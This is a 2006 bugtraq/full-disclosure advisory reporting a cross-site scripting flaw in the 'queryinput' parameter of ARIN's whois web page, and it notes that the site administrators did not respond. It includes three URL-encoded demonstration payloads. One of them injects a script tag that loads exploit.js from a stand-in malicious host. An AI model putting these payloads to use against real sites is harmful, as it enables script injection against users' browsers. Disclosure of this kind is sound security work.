bugtraq - Arin.net XSS

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Date: Thu, 2 Mar 2006 22:17:53 -0600
From: Terminal Entry <Security@...dro.net>
To: Full Disclosure <full-disclosure@...ts.grok.org.uk>,
	Bug Traq <bugtraq@...urityfocus.com>
Subject: Arin.net XSS

Title
ARIN.NET input validation holes in "?queryinput=" allows remote users conduct cross-site scripting attacks

Notification
Multiple attempts to contact Arin site administrators went unanswered

Exploit Included:  Yes

Description
The "?queryinput=" script does not properly validate user-supplied input in several parameters to filter HTML code. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. 

Some demonstration exploit URLs are provided:
http://ws.arin.net/whois/?queryinput=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E
http://ws.arin.net/whois/?queryinput=%3CSCRIPT+SRC%3Dhttp%3A%2F%2FmaliciousCode.net%2Fexploit.js%3E%3C%2FSCRIPT%3E
http://ws.arin.net/whois/?queryinput=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E

Discovered by Terminal Entry security [.at.] peadro (.)net

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